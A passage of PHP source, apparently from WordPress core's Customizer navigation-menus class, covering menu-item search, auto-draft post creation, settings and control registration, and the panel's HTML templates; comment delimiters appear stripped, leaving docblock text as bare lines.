'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
'object' => $term->taxonomy,
'object_id' => (int) $term->term_id,
'url' => get_term_link( (int) $term->term_id, $term->taxonomy ),
);
}
}
*
* Filters the available menu items.
*
* @since 4.3.0
*
* @param array $items The array of menu items.
* @param string $object_type The object type.
* @param string $object_name The object name.
* @param int $page The current page number.
$items = apply_filters( 'customize_nav_menu_available_items', $items, $object_type, $object_name, $page );
return $items;
}
*
* Ajax handler for searching available menu items.
*
* @since 4.3.0
public function ajax_search_available_items() {
check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_die( -1 );
}
if ( empty( $_POST['search'] ) ) {
wp_send_json_error( 'nav_menus_missing_search_parameter' );
}
$p = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 0;
if ( $p < 1 ) {
$p = 1;
}
$s = sanitize_text_field( wp_unslash( $_POST['search'] ) );
$items = $this->search_available_items_query(
array(
'pagenum' => $p,
's' => $s,
)
);
if ( empty( $items ) ) {
wp_send_json_error( array( 'message' => __( 'No results found.' ) ) );
} else {
wp_send_json_success( array( 'items' => $items ) );
}
}
*
* Performs post queries for available-item searching.
*
* Based on WP_Editor::wp_link_query().
*
* @since 4.3.0
*
* @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments.
* @return array Menu items.
public function search_available_items_query( $args = array() ) {
$items = array();
$post_type_objects = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
$query = array(
'post_type' => array_keys( $post_type_objects ),
'suppress_filters' => true,
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
'post_status' => 'publish',
'posts_per_page' => 20,
);
$args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1;
$query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0;
if ( isset( $args['s'] ) ) {
$query['s'] = $args['s'];
}
$posts = array();
Prepend list of posts with nav_menus_created_posts search results on first page.
$nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' );
if ( 1 === $args['pagenum'] && $nav_menus_created_posts_setting && count( $nav_menus_created_posts_setting->value() ) > 0 ) {
$stub_post_query = new WP_Query(
array_merge(
$query,
array(
'post_status' => 'auto-draft',
'post__in' => $nav_menus_created_posts_setting->value(),
'posts_per_page' => -1,
)
)
);
$posts = array_merge( $posts, $stub_post_query->posts );
}
Query posts.
$get_posts = new WP_Query( $query );
$posts = array_merge( $posts, $get_posts->posts );
Create items for posts.
foreach ( $posts as $post ) {
$post_title = $post->post_title;
if ( '' === $post_title ) {
translators: %d: ID of a post.
$post_title = sprintf( __( '#%d (no title)' ), $post->ID );
}
$post_type_label = $post_type_objects[ $post->post_type ]->labels->singular_name;
$post_states = get_post_states( $post );
if ( ! empty( $post_states ) ) {
$post_type_label = implode( ',', $post_states );
}
$items[] = array(
'id' => 'post-' . $post->ID,
'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
'type' => 'post_type',
'type_label' => $post_type_label,
'object' => $post->post_type,
'object_id' => (int) $post->ID,
'url' => get_permalink( (int) $post->ID ),
);
}
Query taxonomy terms.
$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'names' );
$terms = get_terms(
array(
'taxonomies' => $taxonomies,
'name__like' => $args['s'],
'number' => 20,
'hide_empty' => false,
'offset' => 20 * ( $args['pagenum'] - 1 ),
)
);
Check if any taxonomies were found.
if ( ! empty( $terms ) ) {
foreach ( $terms as $term ) {
$items[] = array(
'id' => 'term-' . $term->term_id,
'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
'type' => 'taxonomy',
'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
'object' => $term->taxonomy,
'object_id' => (int) $term->term_id,
'url' => get_term_link( (int) $term->term_id, $term->taxonomy ),
);
}
}
Add "Home" link if search term matches. Treat as a page, but switch to custom on add.
if ( isset( $args['s'] ) ) {
Only insert custom "Home" link if there's no Front Page
$front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;
if ( empty( $front_page ) ) {
$title = _x( 'Home', 'nav menu home label' );
$matches = function_exists( 'mb_stripos' ) ? false !== mb_stripos( $title, $args['s'] ) : false !== stripos( $title, $args['s'] );
if ( $matches ) {
$items[] = array(
'id' => 'home',
'title' => $title,
'type' => 'custom',
'type_label' => __( 'Custom Link' ),
'object' => '',
'url' => home_url(),
);
}
}
}
*
* Filters the available menu items during a search request.
*
* @since 4.5.0
*
* @param array $items The array of menu items.
* @param array $args Includes 'pagenum' and 's' (search) arguments.
$items = apply_filters( 'customize_nav_menu_searched_items', $items, $args );
return $items;
}
*
* Enqueues scripts and styles for Customizer pane.
*
* @since 4.3.0
public function enqueue_scripts() {
wp_enqueue_style( 'customize-nav-menus' );
wp_enqueue_script( 'customize-nav-menus' );
$temp_nav_menu_setting = new WP_Customize_Nav_Menu_Setting( $this->manager, 'nav_menu[-1]' );
$temp_nav_menu_item_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->manager, 'nav_menu_item[-1]' );
$num_locations = count( get_registered_nav_menus() );
if ( 1 === $num_locations ) {
$locations_description = __( 'Your theme can display menus in one location.' );
} else {
translators: %s: Number of menu locations.
$locations_description = sprintf( _n( 'Your theme can display menus in %s location.', 'Your theme can display menus in %s locations.', $num_locations ), number_format_i18n( $num_locations ) );
}
Pass data to JS.
$settings = array(
'allMenus' => wp_get_nav_menus(),
'itemTypes' => $this->available_item_types(),
'l10n' => array(
'untitled' => _x( '(no label)', 'missing menu item navigation label' ),
'unnamed' => _x( '(unnamed)', 'Missing menu name.' ),
'custom_label' => __( 'Custom Link' ),
'page_label' => get_post_type_object( 'page' )->labels->singular_name,
translators: %s: Menu location.
'menuLocation' => _x( '(Currently set to: %s)', 'menu' ),
'locationsTitle' => 1 === $num_locations ? __( 'Menu Location' ) : __( 'Menu Locations' ),
'locationsDescription' => $locations_description,
'menuNameLabel' => __( 'Menu Name' ),
'newMenuNameDescription' => __( 'If your theme has multiple menus, giving them clear names will help you manage them.' ),
'itemAdded' => __( 'Menu item added' ),
'itemDeleted' => __( 'Menu item deleted' ),
'menuAdded' => __( 'Menu created' ),
'menuDeleted' => __( 'Menu deleted' ),
'movedUp' => __( 'Menu item moved up' ),
'movedDown' => __( 'Menu item moved down' ),
'movedLeft' => __( 'Menu item moved out of submenu' ),
'movedRight' => __( 'Menu item is now a sub-item' ),
translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer.
'customizingMenus' => sprintf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ),
translators: %s: Title of an invalid menu item.
'invalidTitleTpl' => __( '%s (Invalid)' ),
translators: %s: Title of a menu item in draft status.
'pendingTitleTpl' => __( '%s (Pending)' ),
translators: %d: Number of menu items found.
'itemsFound' => __( 'Number of items found: %d' ),
translators: %d: Number of additional menu items found.
'itemsFoundMore' => __( 'Additional items found: %d' ),
'itemsLoadingMore' => __( 'Loading more results... please wait.' ),
'reorderModeOn' => __( 'Reorder mode enabled' ),
'reorderModeOff' => __( 'Reorder mode closed' ),
'reorderLabelOn' => esc_attr__( 'Reorder menu items' ),
'reorderLabelOff' => esc_attr__( 'Close reorder mode' ),
),
'settingTransport' => 'postMessage',
'phpIntMax' => PHP_INT_MAX,
'defaultSettingValues' => array(
'nav_menu' => $temp_nav_menu_setting->default,
'nav_menu_item' => $temp_nav_menu_item_setting->default,
),
'locationSlugMappedToName' => get_registered_nav_menus(),
);
$data = sprintf( 'var _wpCustomizeNavMenusSettings = %s;', wp_json_encode( $settings ) );
wp_scripts()->add_data( 'customize-nav-menus', 'data', $data );
This is copied from nav-menus.php, and it has an unfortunate object name of `menus`.
$nav_menus_l10n = array(
'oneThemeLocationNoMenus' => null,
'moveUp' => __( 'Move up one' ),
'moveDown' => __( 'Move down one' ),
'moveToTop' => __( 'Move to the top' ),
translators: %s: Previous item name.
'moveUnder' => __( 'Move under %s' ),
translators: %s: Previous item name.
'moveOutFrom' => __( 'Move out from under %s' ),
translators: %s: Previous item name.
'under' => __( 'Under %s' ),
translators: %s: Previous item name.
'outFrom' => __( 'Out from under %s' ),
translators: 1: Item name, 2: Item position, 3: Total number of items.
'menuFocus' => __( '%1$s. Menu item %2$d of %3$d.' ),
translators: 1: Item name, 2: Item position, 3: Parent item name.
'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
);
wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );
}
*
* Filters a dynamic setting's constructor args.
*
* For a dynamic setting to be registered, this filter must be employed
* to override the default false value with an array of args to pass to
* the WP_Customize_Setting constructor.
*
* @since 4.3.0
*
* @param false|array $setting_args The arguments to the WP_Customize_Setting constructor.
* @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
* @return array|false
public function filter_dynamic_setting_args( $setting_args, $setting_id ) {
if ( preg_match( WP_Customize_Nav_Menu_Setting::ID_PATTERN, $setting_id ) ) {
$setting_args = array(
'type' => WP_Customize_Nav_Menu_Setting::TYPE,
'transport' => 'postMessage',
);
} elseif ( preg_match( WP_Customize_Nav_Menu_Item_Setting::ID_PATTERN, $setting_id ) ) {
$setting_args = array(
'type' => WP_Customize_Nav_Menu_Item_Setting::TYPE,
'transport' => 'postMessage',
);
}
return $setting_args;
}
*
* Allows non-statically created settings to be constructed with custom WP_Customize_Setting subclass.
*
* @since 4.3.0
*
* @param string $setting_class WP_Customize_Setting or a subclass.
* @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
* @param array $setting_args WP_Customize_Setting or a subclass.
* @return string
public function filter_dynamic_setting_class( $setting_class, $setting_id, $setting_args ) {
unset( $setting_id );
if ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Setting::TYPE === $setting_args['type'] ) {
$setting_class = 'WP_Customize_Nav_Menu_Setting';
} elseif ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Item_Setting::TYPE === $setting_args['type'] ) {
$setting_class = 'WP_Customize_Nav_Menu_Item_Setting';
}
return $setting_class;
}
*
* Adds the customizer settings and controls.
*
* @since 4.3.0
public function customize_register() {
$changeset = $this->manager->unsanitized_post_values();
Preview settings for nav menus early so that the sections and controls will be added properly.
$nav_menus_setting_ids = array();
foreach ( array_keys( $changeset ) as $setting_id ) {
if ( preg_match( '/^(nav_menu_locations|nav_menu|nav_menu_item)\[/', $setting_id ) ) {
$nav_menus_setting_ids[] = $setting_id;
}
}
$settings = $this->manager->add_dynamic_settings( $nav_menus_setting_ids );
if ( $this->manager->settings_previewed() ) {
foreach ( $settings as $setting ) {
$setting->preview();
}
}
Require JS-rendered control types.
$this->manager->register_panel_type( 'WP_Customize_Nav_Menus_Panel' );
$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Control' );
$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Name_Control' );
$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Locations_Control' );
$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Auto_Add_Control' );
$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Item_Control' );
Create a panel for Menus.
$description = '<p>' . __( 'This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links.' ) . '</p>';
if ( current_theme_supports( 'widgets' ) ) {
$description .= '<p>' . sprintf(
translators: %s: URL to the Widgets panel of the Customizer.
__( 'Menus can be displayed in locations defined by your theme or in <a href="%s">widget areas</a> by adding a “Navigation Menu” widget.' ),
"javascript:wp.customize.panel( 'widgets' ).focus();"
) . '</p>';
} else {
$description .= '<p>' . __( 'Menus can be displayed in locations defined by your theme.' ) . '</p>';
}
* Once multiple theme supports are allowed in WP_Customize_Panel,
* this panel can be restricted to themes that support menus or widgets.
$this->manager->add_panel(
new WP_Customize_Nav_Menus_Panel(
$this->manager,
'nav_menus',
array(
'title' => __( 'Menus' ),
'description' => $description,
'priority' => 100,
)
)
);
$menus = wp_get_nav_menus();
Menu locations.
$locations = get_registered_nav_menus();
$num_locations = count( $locations );
if ( 1 === $num_locations ) {
$description = '<p>' . __( 'Your theme can display menus in one location. Select which menu you would like to use.' ) . '</p>';
} else {
translators: %s: Number of menu locations.
$description = '<p>' . sprintf( _n( 'Your theme can display menus in %s location. Select which menu you would like to use.', 'Your theme can display menus in %s locations. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
}
if ( current_theme_supports( 'widgets' ) ) {
translators: URL to the Widgets panel of the Customizer.
$description .= '<p>' . sprintf( __( 'If your theme has widget areas, you can also add menus there. Visit the <a href="%s">Widgets panel</a> and add a “Navigation Menu widget” to display a menu in a sidebar or footer.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>';
}
$this->manager->add_section(
'menu_locations',
array(
'title' => 1 === $num_locations ? _x( 'View Location', 'menu locations' ) : _x( 'View All Locations', 'menu locations' ),
'panel' => 'nav_menus',
'priority' => 30,
'description' => $description,
)
);
$choices = array( '0' => __( '— Select —' ) );
foreach ( $menus as $menu ) {
$choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '…' );
}
Attempt to re-map the nav menu location assignments when previewing a theme switch.
$mapped_nav_menu_locations = array();
if ( ! $this->manager->is_theme_active() ) {
$theme_mods = get_option( 'theme_mods_' . $this->manager->get_stylesheet(), array() );
If there is no data from a previous activation, start fresh.
if ( empty( $theme_mods['nav_menu_locations'] ) ) {
$theme_mods['nav_menu_locations'] = array();
}
$mapped_nav_menu_locations = wp_map_nav_menu_locations( $theme_mods['nav_menu_locations'], $this->original_nav_menu_locations );
}
foreach ( $locations as $location => $description ) {
$setting_id = "nav_menu_locations[{$location}]";
$setting = $this->manager->get_setting( $setting_id );
if ( $setting ) {
$setting->transport = 'postMessage';
remove_filter( "customize_sanitize_{$setting_id}", 'absint' );
add_filter( "customize_sanitize_{$setting_id}", array( $this, 'intval_base10' ) );
} else {
$this->manager->add_setting(
$setting_id,
array(
'sanitize_callback' => array( $this, 'intval_base10' ),
'theme_supports' => 'menus',
'type' => 'theme_mod',
'transport' => 'postMessage',
'default' => 0,
)
);
}
Override the assigned nav menu location if mapped during previewed theme switch.
if ( empty( $changeset[ $setting_id ] ) && isset( $mapped_nav_menu_locations[ $location ] ) ) {
$this->manager->set_post_value( $setting_id, $mapped_nav_menu_locations[ $location ] );
}
$this->manager->add_control(
new WP_Customize_Nav_Menu_Location_Control(
$this->manager,
$setting_id,
array(
'label' => $description,
'location_id' => $location,
'section' => 'menu_locations',
'choices' => $choices,
)
)
);
}
Used to denote post states for special pages.
if ( ! function_exists( 'get_post_states' ) ) {
require_once ABSPATH . 'wp-admin/includes/template.php';
}
Register each menu as a Customizer section, and add each menu item to each menu.
foreach ( $menus as $menu ) {
$menu_id = $menu->term_id;
Create a section for each menu.
$section_id = 'nav_menu[' . $menu_id . ']';
$this->manager->add_section(
new WP_Customize_Nav_Menu_Section(
$this->manager,
$section_id,
array(
'title' => html_entity_decode( $menu->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
'priority' => 10,
'panel' => 'nav_menus',
)
)
);
$nav_menu_setting_id = 'nav_menu[' . $menu_id . ']';
$this->manager->add_setting(
new WP_Customize_Nav_Menu_Setting(
$this->manager,
$nav_menu_setting_id,
array(
'transport' => 'postMessage',
)
)
);
Add the menu contents.
$menu_items = (array) wp_get_nav_menu_items( $menu_id );
foreach ( array_values( $menu_items ) as $i => $item ) {
Create a setting for each menu item (which doesn't actually manage data, currently).
$menu_item_setting_id = 'nav_menu_item[' . $item->ID . ']';
$value = (array) $item;
if ( empty( $value['post_title'] ) ) {
$value['title'] = '';
}
$value['nav_menu_term_id'] = $menu_id;
$this->manager->add_setting(
new WP_Customize_Nav_Menu_Item_Setting(
$this->manager,
$menu_item_setting_id,
array(
'value' => $value,
'transport' => 'postMessage',
)
)
);
Create a control for each menu item.
$this->manager->add_control(
new WP_Customize_Nav_Menu_Item_Control(
$this->manager,
$menu_item_setting_id,
array(
'label' => $item->title,
'section' => $section_id,
'priority' => 10 + $i,
)
)
);
}
Note: other controls inside of this section get added dynamically in JS via the MenuSection.ready() function.
}
Add the add-new-menu section and controls.
$this->manager->add_section(
'add_menu',
array(
'type' => 'new_menu',
'title' => __( 'New Menu' ),
'panel' => 'nav_menus',
'priority' => 20,
)
);
$this->manager->add_setting(
new WP_Customize_Filter_Setting(
$this->manager,
'nav_menus_created_posts',
array(
'transport' => 'postMessage',
'type' => 'option', To prevent theme prefix in changeset.
'default' => array(),
'sanitize_callback' => array( $this, 'sanitize_nav_menus_created_posts' ),
)
)
);
}
*
* Gets the base10 intval.
*
* This is used as a setting's sanitize_callback; we can't use just plain
* intval because the second argument is not what intval() expects.
*
* @since 4.3.0
*
* @param mixed $value Number to convert.
* @return int Integer.
public function intval_base10( $value ) {
return intval( $value, 10 );
}
*
* Returns an array of all the available item types.
*
* @since 4.3.0
* @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
*
* @return array The available menu item types.
public function available_item_types() {
$item_types = array();
$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
if ( $post_types ) {
foreach ( $post_types as $slug => $post_type ) {
$item_types[] = array(
'title' => $post_type->labels->name,
'type_label' => $post_type->labels->singular_name,
'type' => 'post_type',
'object' => $post_type->name,
);
}
}
$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' );
if ( $taxonomies ) {
foreach ( $taxonomies as $slug => $taxonomy ) {
if ( 'post_format' === $taxonomy && ! current_theme_supports( 'post-formats' ) ) {
continue;
}
$item_types[] = array(
'title' => $taxonomy->labels->name,
'type_label' => $taxonomy->labels->singular_name,
'type' => 'taxonomy',
'object' => $taxonomy->name,
);
}
}
*
* Filters the available menu item types.
*
* @since 4.3.0
* @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
*
* @param array $item_types Navigation menu item types.
$item_types = apply_filters( 'customize_nav_menu_available_item_types', $item_types );
return $item_types;
}
*
* Adds a new `auto-draft` post.
*
* @since 4.7.0
*
* @param array $postarr {
* Post array. Note that post_status is overridden to be `auto-draft`.
*
* @var string $post_title Post title. Required.
* @var string $post_type Post type. Required.
* @var string $post_name Post name.
* @var string $post_content Post content.
* }
* @return WP_Post|WP_Error Inserted auto-draft post object or error.
public function insert_auto_draft_post( $postarr ) {
if ( ! isset( $postarr['post_type'] ) ) {
return new WP_Error( 'unknown_post_type', __( 'Invalid post type.' ) );
}
if ( empty( $postarr['post_title'] ) ) {
return new WP_Error( 'empty_title', __( 'Empty title.' ) );
}
if ( ! empty( $postarr['post_status'] ) ) {
return new WP_Error( 'status_forbidden', __( 'Status is forbidden.' ) );
}
* If the changeset is a draft, this will change to draft the next time the changeset
* is updated; otherwise, auto-draft will persist in autosave revisions, until save.
$postarr['post_status'] = 'auto-draft';
Auto-drafts are allowed to have empty post_names, so it has to be explicitly set.
if ( empty( $postarr['post_name'] ) ) {
$postarr['post_name'] = sanitize_title( $postarr['post_title'] );
}
if ( ! isset( $postarr['meta_input'] ) ) {
$postarr['meta_input'] = array();
}
$postarr['meta_input']['_customize_draft_post_name'] = $postarr['post_name'];
$postarr['meta_input']['_customize_changeset_uuid'] = $this->manager->changeset_uuid();
unset( $postarr['post_name'] );
add_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
$r = wp_insert_post( wp_slash( $postarr ), true );
remove_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
if ( is_wp_error( $r ) ) {
return $r;
} else {
return get_post( $r );
}
}
*
* Ajax handler for adding a new auto-draft post.
*
* @since 4.7.0
public function ajax_insert_auto_draft_post() {
if ( ! check_ajax_referer( 'customize-menus', 'customize-menus-nonce', false ) ) {
wp_send_json_error( 'bad_nonce', 400 );
}
if ( ! current_user_can( 'customize' ) ) {
wp_send_json_error( 'customize_not_allowed', 403 );
}
if ( empty( $_POST['params'] ) || ! is_array( $_POST['params'] ) ) {
wp_send_json_error( 'missing_params', 400 );
}
$params = wp_unslash( $_POST['params'] );
$illegal_params = array_diff( array_keys( $params ), array( 'post_type', 'post_title' ) );
if ( ! empty( $illegal_params ) ) {
wp_send_json_error( 'illegal_params', 400 );
}
$params = array_merge(
array(
'post_type' => '',
'post_title' => '',
),
$params
);
if ( empty( $params['post_type'] ) || ! post_type_exists( $params['post_type'] ) ) {
status_header( 400 );
wp_send_json_error( 'missing_post_type_param' );
}
$post_type_object = get_post_type_object( $params['post_type'] );
if ( ! current_user_can( $post_type_object->cap->create_posts ) || ! current_user_can( $post_type_object->cap->publish_posts ) ) {
status_header( 403 );
wp_send_json_error( 'insufficient_post_permissions' );
}
$params['post_title'] = trim( $params['post_title'] );
if ( '' === $params['post_title'] ) {
status_header( 400 );
wp_send_json_error( 'missing_post_title' );
}
$r = $this->insert_auto_draft_post( $params );
if ( is_wp_error( $r ) ) {
$error = $r;
if ( ! empty( $post_type_object->labels->singular_name ) ) {
$singular_name = $post_type_object->labels->singular_name;
} else {
$singular_name = __( 'Post' );
}
$data = array(
translators: 1: Post type name, 2: Error message.
'message' => sprintf( __( '%1$s could not be created: %2$s' ), $singular_name, $error->get_error_message() ),
);
wp_send_json_error( $data );
} else {
$post = $r;
$data = array(
'post_id' => $post->ID,
'url' => get_permalink( $post->ID ),
);
wp_send_json_success( $data );
}
}
*
* Prints the JavaScript templates used to render Menu Customizer components.
*
* Templates are imported into the JS use wp.template.
*
* @since 4.3.0
public function print_templates() {
?>
<script type="text/html" id="tmpl-available-menu-item">
<li id="menu-item-tpl-{{ data.id }}" class="menu-item-tpl" data-menu-item-id="{{ data.id }}">
<div class="menu-item-bar">
<div class="menu-item-handle">
<span class="item-type" aria-hidden="true">{{ data.type_label }}</span>
<span class="item-title" aria-hidden="true">
<span class="menu-item-title<# if ( ! data.title ) { #> no-title<# } #>">{{ data.title || wp.customize.Menus.data.l10n.untitled }}</span>
</span>
<button type="button" class="button-link item-add">
<span class="screen-reader-text">
<?php
translators: Hidden accessibility text. 1: Title of a menu item, 2: Type of a menu item.
printf( __( 'Add to menu: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.type_label }}' );
?>
</span>
</button>
</div>
</div>
</li>
</script>
<script type="text/html" id="tmpl-menu-item-reorder-nav">
<div class="menu-item-reorder-nav">
<?php
printf(
'<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>',
__( 'Move up' ),
__( 'Move down' ),
__( 'Move one level up' ),
__( 'Move one level down' )
);
?>
</div>
</script>
<script type="text/html" id="tmpl-nav-menu-delete-button">
<div class="menu-delete-item">
<button type="button" class="button-link button-link-delete">
<?php _e( 'Delete Menu' ); ?>
</button>
</div>
</script>
<script type="text/html" id="tmpl-nav-menu-submit-new-button">
<p id="customize-new-menu-submit-description"><?php _e( 'Click “Next” to start adding links to your new menu.' ); ?></p>
<button id="customize-new-menu-submit" type="button" class="button" aria-describedby="customize-new-menu-submit-description"><?php _e( 'Next' ); ?></button>
</script>
<script type="text/html" id="tmpl-nav-menu-locations-header">
<span class="customize-control-title customize-section-title-menu_locations-heading">{{ data.l10n.locationsTitle }}</span>
<p class="customize-control-description customize-section-title-menu_locations-description">{{ data.l10n.locationsDescription }}</p>
</script>
<script type="text/html" id="tmpl-nav-menu-create-menu-section-title">
<p class="add-new-menu-notice">
<?php _e( 'It does not look like your site has any menus yet. Want to build one? Click the button to start.' ); ?>
</p>
<p class="add-new-menu-notice">
<?php _e( 'You’ll create a menu, assign it a location, and add menu items like links to pages and categories. If your theme has multiple menu areas, you might need to create more than one.' ); ?>
</p>
<h3>
<button type="button" class="button customize-add-menu-button">
<?php _e( 'Create New Menu' ); ?>
</button>
</h3>
</script>
<?php
}
*
* Prints the HTML template used to render the add-menu-item frame.
*
* @since 4.3.0
public function available_items_template() {
?>
<div id="available-menu-items" class="accordion-container">
<div class="customize-section-title">
<button type="button" class="customize-section-back" tabindex="-1">
<span class="screen-reader-text">
<?php
translators: Hidden accessibility text.
_e( 'Back' );
?>
</span>
</button>
<h3>
<span class="customize-action">
<?php
translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer.
printf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) );
?>
</span>
<?php _e( 'Add Menu Items' ); ?>
</h3>
</div>
<div id="available-menu-items-search" class="accordion-section cannot-expand">
<div class="accordion-section-title">
<label class="screen-reader-text" for="menu-items-search">
<?php
translators: Hidden accessibility text.
_e( 'Search Menu Items' );
?>
</label>
<input type="text" id="menu-items-search" placeholder="<?php esc_attr_e( 'Search menu items…' ); ?>" aria-describedby="menu-items-search-desc" />
<p class="screen-reader-text" id="menu-items-search-desc">
<?php
translators: Hidden accessibility text.
_e( 'The search results will be updated as you type.' );
?>
</p>
<span class="spinner"></span>
</div>
<div class="search-icon" aria-hidden="true"></div>
<button type="button" class="clear-results"><span class="screen-reader-text">
<?php
translators: Hidden accessibility text.
_e( 'Clear Results' );
?>
</span></button>
<ul class="accordion-section-content available-menu-items-list" data-type="search"></ul>
</div>
<?php
Ensure the page post type comes first in the list.
$item_types = $this->available_item_types();
$page_item_type = null;
foreach ( $item_types as $i => $item_type ) {
if ( isset( $item_type['object'] ) && 'page' === $item_type['object'] ) {
$page_item_type = $item_type;
unset( $item_types[ $i ] );
}
}
$this->print_custom_links_available_menu_item();
if ( $page_item_type ) {
$this->print_post_type_container( $page_item_type );
}
Containers for per-post-type item browsing; items are added with JS.
foreach ( $item_types as $item_type ) {
$this->print_post_type_container( $item_type );
}
?>
</div><!-- #available-menu-items -->
<?php
}
*
* Prints the markup for new menu items.
*
* To be used in the template #available-menu-items.
*
* @since 4.7.0
*
* @param array $available_item_type Menu item data to output, including title, type, and label.
protected function print_post_type_container( $available_item_type ) {
$id = sprintf( 'available-menu-items-%s-%s', $available_item_type['type'], $available_item_type['object'] );
?>
<div id="<?php echo esc_attr( $id ); ?>" class="accordion-section">
<h4 class="accordion-section-title" role="presentation">
<?php echo esc_html( $available_item_type['title'] ); ?>
<span class="spinner"></span>
<span class="no-items"><?php _e( 'No items' ); ?></span>
<button type="button" class="button-link" aria-expanded="false">
<span class="screen-reader-text">
<?php
translators: %s: Title of a section with menu items.
printf( __( 'Toggle section: %s' ), esc_html( $available_item_type['title'] ) );
?>
</span>
<span class="toggle-indicator" aria-hidden="true"></span>
</button>
</h4>
<div class="accordion-section-content">
<?php if ( 'post_type' === $available_item_type['type'] ) : ?>
<?php $post_type_obj = get_post_type_object( $available_item_type['object'] ); ?>
<?php if ( current_user_can( $post_type_obj->cap->create_posts ) && current_user_can( $post_type_obj->cap->publish_posts ) ) : ?>
<div class="new-content-item">
<label for="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="screen-reader-text"><?php echo esc_html( $post_type_obj->labels->add_new_item ); ?></label>
<input type="text" id="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="create-item-input" placeholder="<?php echo esc_attr( $post_type_obj->labels->add_new_item ); ?>">
<button type="button" class="button add-content"><?php _e( 'Add' ); ?></button>
</div>
<?php endif; ?>
<?php endif; ?>
<ul class="available-menu-items-list" data-type="<?php echo esc_attr( $available_item_type['type'] ); ?>" data-object="<?php echo esc_attr( $available_item_type['object'] ); ?>" data-type_label="<?php echo esc_attr( isset( $available_item_type['type_label'] ) ? $available_item_type['type_label'] : $available_item_type['type'] ); ?>"></ul>
</div>
</div>
<?php
}
*
* Prints the markup for available menu item custom links.
*
* @since 4.7.0
protected function print_custom_links_available_menu_item() {
?>
<div id="new-custom-menu-item" class="accordion-section">
<h4 class="accordion-section-title" role="presentation">
<?php _e( 'Custom Links' ); ?>
<button type="button" class="button-link" aria-expanded="false">
<span class="screen-reader-text">
<?php
translators: Hidden accessibility text.
_e( 'Toggle section: Custom Links' );
?>
</span>
<span class="toggle-indicator" aria-hidden="true"></span>
</button>
</h4>
<div class="accordion-section-content customlinkdiv">
<input type="hidden" value="custom" id="custom-menu-item-type" name="menu-item[-1][menu-item-type]" />
<p id="menu-item-url-wrap" class="wp-clearfix">
<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
<input id="custom-menu-item-url" name="menu-item[-1][menu-item-url]" type="text" class="code menu-item-textbox" placeholder="https:">
</p>
<p id="menu-item-name-wrap" class="wp-clearfix">
<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
<input id="custom-menu-item-name" name="menu-item[-1][menu-item-title]" type="text" class="regular-text menu-item-textbox">
</p>
<p class="button-controls">
<span class="add-to-menu">
<input type="submit" class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="custom-menu-item-submit">
<span class="spinner"></span>
</span>
</p>
</div>
</div>
<?php
}
Start functionality specific to partial-refresh of menu changes in Customizer preview.
*
* Nav menu args used for each instance, keyed by the args HMAC.
*
* @since 4.3.0
* @var array
public $preview_nav_menu_instance_args = array();
*
* Filters arguments for dynamic nav_menu selective refresh partials.
*
* @since 4.5.0
*
* @param array|false $partial_args Partial args.
* @param string $partial_id Partial ID.
* @return array Partial args.
public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
if ( preg_match( '/^nav_menu_instance\[[0-9a-f]{32}\]$/', $partial_id ) ) {
if ( false === $partial_args ) {
$partial_args = array();
}
$partial_args = array_merge(
$partial_args,
array(
'type' => 'nav_menu_instance',
'render_callback' => array( $this, 'render_nav_menu_partial' ),
